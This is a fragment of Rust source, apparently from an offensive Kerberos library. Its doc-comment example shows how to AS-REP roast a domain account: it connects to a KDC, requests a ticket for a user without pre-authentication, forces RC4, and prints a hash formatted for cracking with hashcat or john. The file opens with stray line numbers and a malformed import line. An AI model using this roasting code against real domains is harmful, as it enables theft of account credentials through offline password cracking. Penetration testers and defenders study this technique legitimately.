1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
use crate::;
/// AS-REP Roasting can be used to discover users that do not require pre-authentication
///
/// This can be used to retrieve a ticket that can be cracked with hashcat or john
///
/// # Examples
///
/// ```
/// use cerbero_lib::{asreproast, CrackFormat, EncryptionType, KdcComm, Kdcs, TransportProtocol};
/// use std::net::{IpAddr, Ipv4Addr};
///
/// fn main()
/// {
/// let mut kdcs = Kdcs::new();
/// let kdc_ip = IpAddr::V4(Ipv4Addr::new(127, 0, 0, 1));
/// kdcs.insert("DOMAIN.COM".to_string(), kdc_ip);
///
/// let mut kdccomm = KdcComm::new(kdcs, TransportProtocol::TCP);
///
/// match kdccomm.create_channel("DOMAIN.COM")
/// {
/// Ok(channel) => match asreproast(
/// "DOMAIN.COM",
/// "Username".to_string(),
/// CrackFormat::Hashcat,
/// channel.as_ref(),
/// Some(EncryptionType::RC4),
/// )
/// {
/// Ok(hash) =>
/// {
/// println!("Crackable hash: {}", hash);
/// },
/// Err(e) => panic!("Failed to AS-REP roast: {}", e),
/// },
/// Err(e) => panic!("Failed to create a channel to the KDC: {}", e),
/// }
/// }
/// ```